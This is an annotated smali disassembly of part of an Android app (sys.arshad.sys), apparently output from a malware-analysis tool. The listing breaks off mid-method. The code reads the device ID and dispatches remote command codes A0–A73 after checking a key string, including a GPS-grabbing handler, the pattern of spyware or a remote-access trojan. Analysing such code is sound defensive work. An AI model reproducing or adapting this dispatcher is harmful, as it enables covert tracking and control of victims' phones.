7iget-object v6, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
8const/4 v7, 0x0
10invoke-direct {v0, v6, v7}, Lsys/arshad/sys/MainActivity$c;-><init>(Lsys/arshad/sys/MainActivity;Lsys/arshad/sys/MainActivity$1;)V
  • Data flow analysis:
    • p1: 0
12invoke-virtual {v0}, Lsys/arshad/sys/MainActivity$c;->a()V
14iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
16const-string v6, "phone"
18invoke-virtual {v0, v6}, Lsys/arshad/sys/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: phone
19move-result-object v0
20check-cast v0, Landroid/telephony/TelephonyManager;
22invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;
23move-result-object v6
24if-nez v6, :cond_75
26iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
28iget-object v6, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
30invoke-static {v6}, Lsys/arshad/sys/MainActivity;->g(Lsys/arshad/sys/MainActivity;)Ljava/lang/String;
31move-result-object v6
32iput-object v6, v0, Lsys/arshad/sys/MainActivity;->h:Ljava/lang/String;
34iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
35new-instance v6, Ljava/lang/StringBuilder;
37invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
39iget-object v7, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
41invoke-static {v7}, Lsys/arshad/sys/MainActivity;->h(Lsys/arshad/sys/MainActivity;)Ljava/lang/String;
42move-result-object v7
44invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
45move-result-object v6
47const-string v7, "_"
49invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: _
50move-result-object v6
52iget-object v7, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
54invoke-static {v7}, Lsys/arshad/sys/MainActivity;->g(Lsys/arshad/sys/MainActivity;)Ljava/lang/String;
55move-result-object v7
57invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
58move-result-object v6
60invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
61move-result-object v6
62iput-object v6, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
63goto_51:
64sget-object v0, Lsys/arshad/sys/MainActivity;->D:Ljava/lang/String;
65if-eqz v0, :cond_5a
67iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
69invoke-static {v0}, Lsys/arshad/sys/MainActivity;->A(Lsys/arshad/sys/MainActivity;)V
70cond_5a:
71iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
73invoke-static {v0}, Lsys/arshad/sys/MainActivity;->j(Lsys/arshad/sys/MainActivity;)Ljava/lang/String;
74move-result-object v0
76const-string v6, ":"
78invoke-virtual {v0, v6}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
  • Data flow analysis:
    • p0: :
79move-result-object v6
80const/4 v0, 0x0
81aget-object v0, v6, v0
83invoke-virtual {v0}, Ljava/lang/String;->hashCode()I
84move-result v7
85sparse-switch v7, :sswitch_data_c10
86cond_70: move v0, v2
87goto_71: packed-switch v0, :pswitch_data_d3a
88cond_74: return-void
89cond_75:
90iget-object v6, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
92invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;
93move-result-object v7
94iput-object v7, v6, Lsys/arshad/sys/MainActivity;->h:Ljava/lang/String;
96iget-object v6, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
97new-instance v7, Ljava/lang/StringBuilder;
99invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
101iget-object v8, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
103invoke-static {v8}, Lsys/arshad/sys/MainActivity;->h(Lsys/arshad/sys/MainActivity;)Ljava/lang/String;
104move-result-object v8
106invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
107move-result-object v7
109const-string v8, "_"
111invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: _
112move-result-object v7
114invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;
115move-result-object v0
117invoke-virtual {v7, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
118move-result-object v0
120invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
121move-result-object v0
122iput-object v0, v6, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
123goto/16 :goto_51
124catch_a3: move-exception v0
125goto/16 :goto_74
126sswitch_a5:
127const-string v7, "A0"
129invoke-virtual {v0, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A0
130move-result v0
131if-eqz v0, :cond_70
132move v0, v1
133goto/16 :goto_71
134sswitch_af:
135const-string v1, "A1"
137invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A1
138move-result v0
139if-eqz v0, :cond_70
140move v0, v3
141goto/16 :goto_71
142sswitch_b9:
143const-string v1, "A2"
145invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A2
146move-result v0
147if-eqz v0, :cond_70
148move v0, v4
149goto/16 :goto_71
150sswitch_c3:
151const-string v1, "A3"
153invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A3
154move-result v0
155if-eqz v0, :cond_70
156move v0, v5
157goto/16 :goto_71
158sswitch_cd:
159const-string v1, "A4"
161invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A4
162move-result v0
163if-eqz v0, :cond_70
164const/4 v0, 0x4
165goto/16 :goto_71
166sswitch_d7:
167const-string v1, "A5"
169invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A5
170move-result v0
171if-eqz v0, :cond_70
172const/4 v0, 0x5
173goto/16 :goto_71
174sswitch_e1:
175const-string v1, "A6"
177invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A6
178move-result v0
179if-eqz v0, :cond_70
180const/4 v0, 0x6
181goto/16 :goto_71
182sswitch_eb:
183const-string v1, "A7"
185invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A7
186move-result v0
187if-eqz v0, :cond_70
188const/4 v0, 0x7
189goto/16 :goto_71
190sswitch_f6:
191const-string v1, "A8"
193invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A8
194move-result v0
195if-eqz v0, :cond_70
196const/16 v0, 0x8
197goto/16 :goto_71
198sswitch_102:
199const-string v1, "A9"
201invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A9
202move-result v0
203if-eqz v0, :cond_70
204const/16 v0, 0x9
205goto/16 :goto_71
206sswitch_10e:
207const-string v1, "A10"
209invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A10
210move-result v0
211if-eqz v0, :cond_70
212const/16 v0, 0xa
213goto/16 :goto_71
214sswitch_11a:
215const-string v1, "A11"
217invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A11
218move-result v0
219if-eqz v0, :cond_70
220const/16 v0, 0xb
221goto/16 :goto_71
222sswitch_126:
223const-string v1, "A12"
225invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A12
226move-result v0
227if-eqz v0, :cond_70
228const/16 v0, 0xc
229goto/16 :goto_71
230sswitch_132:
231const-string v1, "A13"
233invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A13
234move-result v0
235if-eqz v0, :cond_70
236const/16 v0, 0xd
237goto/16 :goto_71
238sswitch_13e:
239const-string v1, "A14"
241invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A14
242move-result v0
243if-eqz v0, :cond_70
244const/16 v0, 0xe
245goto/16 :goto_71
246sswitch_14a:
247const-string v1, "A15"
249invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A15
250move-result v0
251if-eqz v0, :cond_70
252const/16 v0, 0xf
253goto/16 :goto_71
254sswitch_156:
255const-string v1, "A16"
257invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A16
258move-result v0
259if-eqz v0, :cond_70
260const/16 v0, 0x10
261goto/16 :goto_71
262sswitch_162:
263const-string v1, "A17"
265invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A17
266move-result v0
267if-eqz v0, :cond_70
268const/16 v0, 0x11
269goto/16 :goto_71
270sswitch_16e:
271const-string v1, "A18"
273invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A18
274move-result v0
275if-eqz v0, :cond_70
276const/16 v0, 0x12
277goto/16 :goto_71
278sswitch_17a:
279const-string v1, "A19"
281invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A19
282move-result v0
283if-eqz v0, :cond_70
284const/16 v0, 0x13
285goto/16 :goto_71
286sswitch_186:
287const-string v1, "A20"
289invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A20
290move-result v0
291if-eqz v0, :cond_70
292const/16 v0, 0x14
293goto/16 :goto_71
294sswitch_192:
295const-string v1, "A21"
297invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A21
298move-result v0
299if-eqz v0, :cond_70
300const/16 v0, 0x15
301goto/16 :goto_71
302sswitch_19e:
303const-string v1, "A22"
305invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A22
306move-result v0
307if-eqz v0, :cond_70
308const/16 v0, 0x16
309goto/16 :goto_71
310sswitch_1aa:
311const-string v1, "A23"
313invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A23
314move-result v0
315if-eqz v0, :cond_70
316const/16 v0, 0x17
317goto/16 :goto_71
318sswitch_1b6:
319const-string v1, "A24"
321invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A24
322move-result v0
323if-eqz v0, :cond_70
324const/16 v0, 0x18
325goto/16 :goto_71
326sswitch_1c2:
327const-string v1, "A25"
329invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A25
330move-result v0
331if-eqz v0, :cond_70
332const/16 v0, 0x19
333goto/16 :goto_71
334sswitch_1ce:
335const-string v1, "A26"
337invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A26
338move-result v0
339if-eqz v0, :cond_70
340const/16 v0, 0x1a
341goto/16 :goto_71
342sswitch_1da:
343const-string v1, "A27"
345invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A27
346move-result v0
347if-eqz v0, :cond_70
348const/16 v0, 0x1b
349goto/16 :goto_71
350sswitch_1e6:
351const-string v1, "A28"
353invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A28
354move-result v0
355if-eqz v0, :cond_70
356const/16 v0, 0x1c
357goto/16 :goto_71
358sswitch_1f2:
359const-string v1, "A29"
361invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A29
362move-result v0
363if-eqz v0, :cond_70
364const/16 v0, 0x1d
365goto/16 :goto_71
366sswitch_1fe:
367const-string v1, "A30"
369invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A30
370move-result v0
371if-eqz v0, :cond_70
372const/16 v0, 0x1e
373goto/16 :goto_71
374sswitch_20a:
375const-string v1, "A31"
377invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A31
378move-result v0
379if-eqz v0, :cond_70
380const/16 v0, 0x1f
381goto/16 :goto_71
382sswitch_216:
383const-string v1, "A32"
385invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A32
386move-result v0
387if-eqz v0, :cond_70
388const/16 v0, 0x20
389goto/16 :goto_71
390sswitch_222:
391const-string v1, "A33"
393invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A33
394move-result v0
395if-eqz v0, :cond_70
396const/16 v0, 0x21
397goto/16 :goto_71
398sswitch_22e:
399const-string v1, "A34"
401invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A34
402move-result v0
403if-eqz v0, :cond_70
404const/16 v0, 0x22
405goto/16 :goto_71
406sswitch_23a:
407const-string v1, "A35"
409invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A35
410move-result v0
411if-eqz v0, :cond_70
412const/16 v0, 0x23
413goto/16 :goto_71
414sswitch_246:
415const-string v1, "A36"
417invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A36
418move-result v0
419if-eqz v0, :cond_70
420const/16 v0, 0x24
421goto/16 :goto_71
422sswitch_252:
423const-string v1, "A37"
425invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A37
426move-result v0
427if-eqz v0, :cond_70
428const/16 v0, 0x25
429goto/16 :goto_71
430sswitch_25e:
431const-string v1, "A38"
433invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A38
434move-result v0
435if-eqz v0, :cond_70
436const/16 v0, 0x26
437goto/16 :goto_71
438sswitch_26a:
439const-string v1, "A39"
441invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A39
442move-result v0
443if-eqz v0, :cond_70
444const/16 v0, 0x27
445goto/16 :goto_71
446sswitch_276:
447const-string v1, "A40"
449invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A40
450move-result v0
451if-eqz v0, :cond_70
452const/16 v0, 0x28
453goto/16 :goto_71
454sswitch_282:
455const-string v1, "A41"
457invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A41
458move-result v0
459if-eqz v0, :cond_70
460const/16 v0, 0x29
461goto/16 :goto_71
462sswitch_28e:
463const-string v1, "A42"
465invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A42
466move-result v0
467if-eqz v0, :cond_70
468const/16 v0, 0x2a
469goto/16 :goto_71
470sswitch_29a:
471const-string v1, "A43"
473invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A43
474move-result v0
475if-eqz v0, :cond_70
476const/16 v0, 0x2b
477goto/16 :goto_71
478sswitch_2a6:
479const-string v1, "A44"
481invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A44
482move-result v0
483if-eqz v0, :cond_70
484const/16 v0, 0x2c
485goto/16 :goto_71
486sswitch_2b2:
487const-string v1, "A45"
489invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A45
490move-result v0
491if-eqz v0, :cond_70
492const/16 v0, 0x2d
493goto/16 :goto_71
494sswitch_2be:
495const-string v1, "A46"
497invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A46
498move-result v0
499if-eqz v0, :cond_70
500const/16 v0, 0x2e
501goto/16 :goto_71
502sswitch_2ca:
503const-string v1, "A47"
505invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A47
506move-result v0
507if-eqz v0, :cond_70
508const/16 v0, 0x2f
509goto/16 :goto_71
510sswitch_2d6:
511const-string v1, "A48"
513invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A48
514move-result v0
515if-eqz v0, :cond_70
516const/16 v0, 0x30
517goto/16 :goto_71
518sswitch_2e2:
519const-string v1, "A49"
521invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A49
522move-result v0
523if-eqz v0, :cond_70
524const/16 v0, 0x31
525goto/16 :goto_71
526sswitch_2ee:
527const-string v1, "A50"
529invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A50
530move-result v0
531if-eqz v0, :cond_70
532const/16 v0, 0x32
533goto/16 :goto_71
534sswitch_2fa:
535const-string v1, "A51"
537invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A51
538move-result v0
539if-eqz v0, :cond_70
540const/16 v0, 0x33
541goto/16 :goto_71
542sswitch_306:
543const-string v1, "A52"
545invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A52
546move-result v0
547if-eqz v0, :cond_70
548const/16 v0, 0x34
549goto/16 :goto_71
550sswitch_312:
551const-string v1, "A53"
553invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A53
554move-result v0
555if-eqz v0, :cond_70
556const/16 v0, 0x35
557goto/16 :goto_71
558sswitch_31e:
559const-string v1, "A54"
561invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A54
562move-result v0
563if-eqz v0, :cond_70
564const/16 v0, 0x36
565goto/16 :goto_71
566sswitch_32a:
567const-string v1, "A55"
569invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A55
570move-result v0
571if-eqz v0, :cond_70
572const/16 v0, 0x37
573goto/16 :goto_71
574sswitch_336:
575const-string v1, "A56"
577invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A56
578move-result v0
579if-eqz v0, :cond_70
580const/16 v0, 0x38
581goto/16 :goto_71
582sswitch_342:
583const-string v1, "A57"
585invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A57
586move-result v0
587if-eqz v0, :cond_70
588const/16 v0, 0x39
589goto/16 :goto_71
590sswitch_34e:
591const-string v1, "A58"
593invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A58
594move-result v0
595if-eqz v0, :cond_70
596const/16 v0, 0x3a
597goto/16 :goto_71
598sswitch_35a:
599const-string v1, "A59"
601invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A59
602move-result v0
603if-eqz v0, :cond_70
604const/16 v0, 0x3b
605goto/16 :goto_71
606sswitch_366:
607const-string v1, "A60"
609invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A60
610move-result v0
611if-eqz v0, :cond_70
612const/16 v0, 0x3c
613goto/16 :goto_71
614sswitch_372:
615const-string v1, "A61"
617invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A61
618move-result v0
619if-eqz v0, :cond_70
620const/16 v0, 0x3d
621goto/16 :goto_71
622sswitch_37e:
623const-string v1, "A62"
625invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A62
626move-result v0
627if-eqz v0, :cond_70
628const/16 v0, 0x3e
629goto/16 :goto_71
630sswitch_38a:
631const-string v1, "A63"
633invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A63
634move-result v0
635if-eqz v0, :cond_70
636const/16 v0, 0x3f
637goto/16 :goto_71
638sswitch_396:
639const-string v1, "A64"
641invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A64
642move-result v0
643if-eqz v0, :cond_70
644const/16 v0, 0x40
645goto/16 :goto_71
646sswitch_3a2:
647const-string v1, "A65"
649invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A65
650move-result v0
651if-eqz v0, :cond_70
652const/16 v0, 0x41
653goto/16 :goto_71
654sswitch_3ae:
655const-string v1, "A66"
657invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A66
658move-result v0
659if-eqz v0, :cond_70
660const/16 v0, 0x42
661goto/16 :goto_71
662sswitch_3ba:
663const-string v1, "A67"
665invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A67
666move-result v0
667if-eqz v0, :cond_70
668const/16 v0, 0x43
669goto/16 :goto_71
670sswitch_3c6:
671const-string v1, "A68"
673invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A68
674move-result v0
675if-eqz v0, :cond_70
676const/16 v0, 0x44
677goto/16 :goto_71
678sswitch_3d2:
679const-string v1, "A69"
681invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A69
682move-result v0
683if-eqz v0, :cond_70
684const/16 v0, 0x45
685goto/16 :goto_71
686sswitch_3de:
687const-string v1, "A70"
689invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A70
690move-result v0
691if-eqz v0, :cond_70
692const/16 v0, 0x46
693goto/16 :goto_71
694sswitch_3ea:
695const-string v1, "A71"
697invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A71
698move-result v0
699if-eqz v0, :cond_70
700const/16 v0, 0x47
701goto/16 :goto_71
702sswitch_3f6:
703const-string v1, "A72"
705invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A72
706move-result v0
707if-eqz v0, :cond_70
708const/16 v0, 0x48
709goto/16 :goto_71
710sswitch_402:
711const-string v1, "A73"
713invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: A73
714move-result v0
715if-eqz v0, :cond_70
716const/16 v0, 0x49
717goto/16 :goto_71
718pswitch_40e: const/4 v0, 0x1
719aget-object v0, v6, v0
721const-string v1, "dt7C1uP3c2al6l0ib"
723invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: dt7C1uP3c2al6l0ib
724move-result v0
725if-eq v0, v2, :cond_74
727iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
729invoke-virtual {v0}, Lsys/arshad/sys/MainActivity;->k()V
730goto/16 :goto_74
731pswitch_420:
732iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
734iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
735const/4 v1, 0x1
736aget-object v1, v6, v1
738invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
739move-result v0
740if-eq v0, v2, :cond_74
742invoke-direct {p0}, Lsys/arshad/sys/MainActivity$b;->n()V
743goto/16 :goto_74
744pswitch_432:
745iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
747iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
748const/4 v1, 0x1
749aget-object v1, v6, v1
751invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
752move-result v0
753if-eq v0, v2, :cond_74
755invoke-virtual {p0}, Lsys/arshad/sys/MainActivity$b;->i()V
756goto/16 :goto_74
757pswitch_444:
758iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
760iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
761const/4 v1, 0x1
762aget-object v1, v6, v1
764invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
765move-result v0
766if-eq v0, v2, :cond_74
768invoke-virtual {p0}, Lsys/arshad/sys/MainActivity$b;->j()V
769goto/16 :goto_74
770pswitch_456:
771iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
773iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
774const/4 v1, 0x1
775aget-object v1, v6, v1
777invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
778move-result v0
779if-eq v0, v2, :cond_74
781iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
783const-string v1, "GetGPS(scr|eam)"
784iput-object v1, v0, Lsys/arshad/sys/MainActivity;->C:Ljava/lang/String;
786iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
788invoke-static {v0}, Lsys/arshad/sys/MainActivity;->B(Lsys/arshad/sys/MainActivity;)V
789goto/16 :goto_74
790pswitch_470:
791iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
793iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
794const/4 v1, 0x1
795aget-object v1, v6, v1
797invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
798move-result v0
799if-eq v0, v2, :cond_74
800const/4 v0, 0x2
801aget-object v0, v6, v0
803invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
804move-result-object v0
806const-string v1, ";"
808const-string v2, ":"
810invoke-virtual {v0, v1, v2}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
  • Data flow analysis:
    • p0: ;
    • p1: :
811move-result-object v0
813invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity$b;->a(Ljava/lang/String;)V
814goto/16 :goto_74
815pswitch_491:
816iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
818iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
819const/4 v1, 0x1
820aget-object v1, v6, v1
822invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
823move-result v0
824if-eq v0, v2, :cond_74
826invoke-virtual {p0}, Lsys/arshad/sys/MainActivity$b;->b()V
827goto/16 :goto_74
828pswitch_4a3:
829iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
831iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
832const/4 v1, 0x1
833aget-object v1, v6, v1
835invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
836move-result v0
837if-eq v0, v2, :cond_74
839iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
